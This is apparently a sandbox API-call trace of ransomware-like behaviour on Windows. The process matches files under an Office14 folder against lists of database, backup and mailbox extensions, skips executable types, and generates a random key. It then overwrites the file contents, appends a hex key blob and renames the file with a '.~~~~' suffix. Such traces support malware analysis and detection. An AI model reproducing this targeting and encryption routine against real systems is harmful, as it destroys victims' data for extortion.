	[0080.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".bac") returned 0x0
	[0080.433] lstrlenW (lpString=".mdf") returned 4
	[0080.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".mdf") returned 0x0
	[0080.433] lstrlenW (lpString=".BAK") returned 4
	[0080.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".BAK") returned 0x0
	[0080.433] lstrlenW (lpString=".BAC") returned 4
	[0080.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".BAC") returned 0x0
	[0080.433] lstrlenW (lpString=".dbs") returned 4
	[0080.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".dbs") returned 0x0
	[0080.433] lstrlenW (lpString=".vhdx") returned 5
	[0080.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".vhdx") returned 0x0
	[0080.433] lstrlenW (lpString=".NDF") returned 4
	[0080.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".NDF") returned 0x0
	[0080.433] lstrlenW (lpString=".dat") returned 4
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".dat") returned 0x0
	[0080.434] lstrlenW (lpString=".DBS") returned 4
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".DBS") returned 0x0
	[0080.434] lstrlenW (lpString=".CKP") returned 4
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".CKP") returned 0x0
	[0080.434] lstrlenW (lpString=".edb") returned 4
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".edb") returned 0x0
	[0080.434] lstrlenW (lpString=".PST") returned 4
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".PST") returned 0x0
	[0080.434] lstrlenW (lpString=".dbf") returned 4
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".dbf") returned 0x0
	[0080.434] lstrlenW (lpString=".SQL") returned 4
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".SQL") returned 0x0
	[0080.434] lstrlenW (lpString=".pst") returned 4
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".pst") returned 0x0
	[0080.434] lstrlenW (lpString=".dbv") returned 4
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".dbv") returned 0x0
	[0080.434] lstrlenW (lpString=".SDF") returned 4
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".SDF") returned 0x0
	[0080.434] lstrlenW (lpString=".dtxs") returned 5
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".dtxs") returned 0x0
	[0080.434] lstrlenW (lpString=".db3") returned 4
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".db3") returned 0x0
	[0080.434] lstrlenW (lpString=".OST") returned 4
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".OST") returned 0x0
	[0080.434] lstrlenW (lpString=".dbx") returned 4
	[0080.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".dbx") returned 0x0
	[0080.434] lstrlenW (lpString=".DB3") returned 4
	[0080.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".DB3") returned 0x0
	[0080.435] lstrlenW (lpString=".DAT") returned 4
	[0080.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".DAT") returned 0x0
	[0080.435] lstrlenW (lpString=".VHDX") returned 5
	[0080.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".VHDX") returned 0x0
	[0080.435] lstrlenW (lpString=".ndf") returned 4
	[0080.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".ndf") returned 0x0
	[0080.435] lstrlenW (lpString=".DB") returned 3
	[0080.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".DB") returned 0x0
	[0080.435] lstrlenW (lpString=".sql") returned 4
	[0080.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".sql") returned 0x0
	[0080.435] lstrlenW (lpString=".MYD") returned 4
	[0080.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".MYD") returned 0x0
	[0080.435] lstrlenW (lpString=".DBT") returned 4
	[0080.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".DBT") returned 0x0
	[0080.435] lstrlenW (lpString=".ACCDB") returned 6
	[0080.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".ACCDB") returned 0x0
	[0080.435] lstrlenW (lpString=".fdb") returned 4
	[0080.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".fdb") returned 0x0
	[0080.435] lstrlenW (lpString=".bak") returned 4
	[0080.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".bak") returned 0x0
	[0080.435] lstrlenW (lpString=".myd") returned 4
	[0080.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".myd") returned 0x0
	[0080.435] lstrlenW (lpString=".DTXS") returned 5
	[0080.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".DTXS") returned 0x0
	[0080.435] lstrlenW (lpString=".ckp") returned 4
	[0080.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".ckp") returned 0x0
	[0080.436] lstrlenW (lpString=".dbt") returned 4
	[0080.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".dbt") returned 0x0
	[0080.436] lstrlenW (lpString=".db") returned 3
	[0080.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".db") returned 0x0
	[0080.436] lstrlenW (lpString=".TXT") returned 4
	[0080.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".TXT") returned 0x0
	[0080.436] lstrlenW (lpString=".MDF") returned 4
	[0080.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".MDF") returned 0x0
	[0080.436] lstrlenW (lpString=".bdb") returned 4
	[0080.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".bdb") returned 0x0
	[0080.436] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.436] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0080.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.436] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0080.437] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.437] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0080.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0080.437] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20042747196) returned 1
	[0080.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x99cb4e70, dwHighDateTime=0x1d60e1e)) 
	[0080.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0080.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0080.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0080.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bcb8
	[0080.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bcb8 | out: hHeap=0x300000) returned 1
	[0080.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6df0
	[0080.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbc58
	[0080.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0080.438] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0080.438] GetLastError () returned 0x0
	[0080.438] GetLastError () returned 0x0
	[0080.438] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0080.438] GetLastError () returned 0x0
	[0080.439] GetLastError () returned 0x0
	[0080.439] ReadFile (in: hFile=0x128, lpBuffer=0x284dfe8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x284dfe8*, lpNumberOfBytesRead=0x25dfec0*=0x7568, lpOverlapped=0x0) returned 1
	[0080.518] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff8a98, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.518] WriteFile (in: hFile=0x128, lpBuffer=0x284dfe8*, nNumberOfBytesToWrite=0x7568, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x284dfe8*, lpNumberOfBytesWritten=0x25dfec0*=0x7568, lpOverlapped=0x0) returned 1
	[0080.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x284dfe8 | out: hHeap=0x300000) returned 1
	[0080.518] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.518] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.518] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.518] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.519] CloseHandle (hObject=0x128) returned 1
	[0080.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0080.519] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\odbcmon.dll.~~~~")) returned 1
	[0080.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0080.520] GetLastError () returned 0x0
	[0080.520] RtlWakeConditionVariable () returned 0x365f70
	[0080.520] GetCurrentThreadId () returned 0x9f4
	[0080.521] GetCurrentThreadId () returned 0x9f4
	[0080.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801640
	[0080.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ace38 | out: hHeap=0x300000) returned 1
	[0080.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e3b0 | out: hHeap=0x300000) returned 1
	[0080.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801728
	[0080.521] lstrlenW (lpString=".scr") returned 4
	[0080.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".scr") returned 0x0
	[0080.521] lstrlenW (lpString=".cmd") returned 4
	[0080.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".cmd") returned 0x0
	[0080.521] lstrlenW (lpString=".dll") returned 4
	[0080.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".dll") returned 0x0
	[0080.521] lstrlenW (lpString=".bat") returned 4
	[0080.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".bat") returned 0x0
	[0080.521] lstrlenW (lpString=".cpl") returned 4
	[0080.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".cpl") returned 0x0
	[0080.521] lstrlenW (lpString=".sys") returned 4
	[0080.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".sys") returned 0x0
	[0080.521] lstrlenW (lpString=".msc") returned 4
	[0080.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".msc") returned 0x0
	[0080.521] lstrlenW (lpString=".com") returned 4
	[0080.521] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".com") returned 0x0
	[0080.521] lstrlenW (lpString=".lnk") returned 4
	[0080.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".lnk") returned 0x0
	[0080.522] lstrlenW (lpString=".msp") returned 4
	[0080.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".msp") returned 0x0
	[0080.522] lstrlenW (lpString=".pif") returned 4
	[0080.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".pif") returned 0x0
	[0080.522] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0080.522] lstrlenW (lpString=".sqb") returned 4
	[0080.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".sqb") returned 0x0
	[0080.522] lstrlenW (lpString=".ost") returned 4
	[0080.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".ost") returned 0x0
	[0080.522] lstrlenW (lpString=".txt") returned 4
	[0080.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".txt") returned 0x0
	[0080.522] lstrlenW (lpString=".mdt") returned 4
	[0080.522] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".mdt") returned 0x0
	[0080.523] lstrlenW (lpString=".BDB") returned 4
	[0080.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".BDB") returned 0x0
	[0080.523] lstrlenW (lpString=".eql") returned 4
	[0080.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".eql") returned 0x0
	[0080.523] lstrlenW (lpString=".DBF") returned 4
	[0080.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".DBF") returned 0x0
	[0080.523] lstrlenW (lpString=".EQL") returned 4
	[0080.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".EQL") returned 0x0
	[0080.523] lstrlenW (lpString=".FDB") returned 4
	[0080.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".FDB") returned 0x0
	[0080.523] lstrlenW (lpString=".EDB") returned 4
	[0080.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".EDB") returned 0x0
	[0080.523] lstrlenW (lpString=".DACPAC") returned 7
	[0080.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".DACPAC") returned 0x0
	[0080.523] lstrlenW (lpString=".VHD") returned 4
	[0080.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".VHD") returned 0x0
	[0080.523] lstrlenW (lpString=".DBV") returned 4
	[0080.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".DBV") returned 0x0
	[0080.523] lstrlenW (lpString=".dacpac") returned 7
	[0080.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".dacpac") returned 0x0
	[0080.523] lstrlenW (lpString=".sdf") returned 4
	[0080.523] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".sdf") returned 0x0
	[0080.523] lstrlenW (lpString=".accdb") returned 6
	[0080.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".accdb") returned 0x0
	[0080.524] lstrlenW (lpString=".DBX") returned 4
	[0080.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".DBX") returned 0x0
	[0080.524] lstrlenW (lpString=".MDT") returned 4
	[0080.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".MDT") returned 0x0
	[0080.524] lstrlenW (lpString=".SQB") returned 4
	[0080.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".SQB") returned 0x0
	[0080.524] lstrlenW (lpString=".vhd") returned 4
	[0080.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".vhd") returned 0x0
	[0080.524] lstrlenW (lpString=".bac") returned 4
	[0080.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".bac") returned 0x0
	[0080.524] lstrlenW (lpString=".mdf") returned 4
	[0080.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".mdf") returned 0x0
	[0080.524] lstrlenW (lpString=".BAK") returned 4
	[0080.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".BAK") returned 0x0
	[0080.524] lstrlenW (lpString=".BAC") returned 4
	[0080.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".BAC") returned 0x0
	[0080.524] lstrlenW (lpString=".dbs") returned 4
	[0080.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".dbs") returned 0x0
	[0080.524] lstrlenW (lpString=".vhdx") returned 5
	[0080.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".vhdx") returned 0x0
	[0080.524] lstrlenW (lpString=".NDF") returned 4
	[0080.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".NDF") returned 0x0
	[0080.525] lstrlenW (lpString=".dat") returned 4
	[0080.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".dat") returned 0x0
	[0080.525] lstrlenW (lpString=".DBS") returned 4
	[0080.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".DBS") returned 0x0
	[0080.525] lstrlenW (lpString=".CKP") returned 4
	[0080.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".CKP") returned 0x0
	[0080.525] lstrlenW (lpString=".edb") returned 4
	[0080.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".edb") returned 0x0
	[0080.525] lstrlenW (lpString=".PST") returned 4
	[0080.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".PST") returned 0x0
	[0080.525] lstrlenW (lpString=".dbf") returned 4
	[0080.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".dbf") returned 0x0
	[0080.525] lstrlenW (lpString=".SQL") returned 4
	[0080.525] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML", lpSrch=".SQL") returned 0x0
